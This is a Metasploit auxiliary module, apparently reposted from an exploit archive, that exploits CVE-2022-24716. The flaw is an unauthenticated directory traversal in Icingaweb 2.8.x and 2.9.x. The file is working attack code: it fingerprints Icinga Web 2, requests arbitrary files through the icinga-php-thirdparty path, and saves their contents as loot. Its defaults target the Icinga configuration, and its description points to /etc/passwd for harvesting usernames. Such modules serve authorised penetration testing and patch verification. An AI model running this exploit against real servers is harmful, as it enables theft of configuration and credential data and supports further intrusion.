Icingaweb Directory Traversal In Static Library File Requests

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Icingaweb Directory Traversal in Static Library File Requests',  
'Description' => %q{  
Icingaweb versions from 2.9.0 to 2.9.5 inclusive, and 2.8.0 to 2.8.5 inclusive suffer from an  
unauthenticated directory traversal vulnerability. The vulnerability is triggered  
through the icinga-php-thirdparty library, which allows unauthenticated users  
to retrieve arbitrary files from the targets filesystem via a GET request to  
/lib/icinga/icinga-php-thirdparty/<absolute path to target file on disk> as the user  
running the Icingaweb server, which will typically be the www-data user.  
  
This can then be used to retrieve sensitive configuration information from the target  
such as the configuration of various services, which may reveal sensitive login  
or configuration information, the /etc/passwd file to get a list of valid usernames  
for password guessing attacks, or other sensitive files which may exist as part of  
additional functionality available on the target server.  
  
This module was tested against Icingaweb 2.9.5 running on Docker.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'Jacob Ebben', # EDB  
'Thomas Chauchefoin' # initial POC and discovery  
],  
'References' => [  
['EDB', '51329'],  
['URL', 'https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/'],  
['URL', 'https://github.com/Icinga/icingaweb2/security/advisories/GHSA-5p3f-rh28-8frw'],  
['URL', 'https://github.com/Icinga/icingaweb2/commit/9931ed799650f5b8d5e1dc58ea3415a4cdc5773d'],  
['CVE', '2022-24716'],  
],  
'Targets' => [  
['Icingaweb', {}],  
],  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
},  
'DisclosureDate' => '2022-05-09',  
'DefaultTarget' => 0  
)  
)  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [true, 'The URI of the Icinga Application', '/']),  
OptString.new('FILE', [true, 'File to retrieve', '/etc/icinga2/icinga2.conf']) # https://icinga.com/docs/icinga-2/latest/doc/04-configuration/#configuration-overview  
]  
)  
end  
  
def check_host(_ip)  
res = send_request_cgi!(  
'uri' => normalize_uri(target_uri.path)  
)  
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?  
return Exploit::CheckCode::Unknown("#{peer} - Page didn't load correctly (response code: #{res.code}), check TARGETURI/port?") unless res.code == 200  
return Exploit::CheckCode::Unknown("#{peer} - Page doesn't have a body, check TARGETURI/port?") if res.body.nil?  
return Exploit::CheckCode::Detected("#{peer} - Icinga Web 2 found, unable to determine version.") if res.body.include?('<meta name="application-name" content="Icinga Web 2">')  
  
return Exploit::CheckCode::Safe("#{peer} - Web server found, but couldn't detect Icinga")  
end  
  
def run_host(ip)  
vprint_status('Attempting to retrieve file')  
res = send_request_cgi!(  
'uri' => normalize_uri(target_uri.path, 'lib', 'icinga', 'icinga-php-thirdparty', datastore['FILE'])  
)  
  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Page didn't load correctly. Most likely file doesn't exist (response code: #{res.code})") unless res.code == 200  
fail_with(Failure::UnexpectedReply, "#{peer} - Page didn't load correctly, no body found") if res.body.nil?  
if !res.body.empty?  
print_good(res.body)  
loot_path = store_loot('icinga file', 'text/plain', ip, res.body, datastore['FILE'])  
print_good("#{datastore['FILE']} saved to #{loot_path}")  
else  
print_error('Response has 0 size.')  
end  
end  
end  
`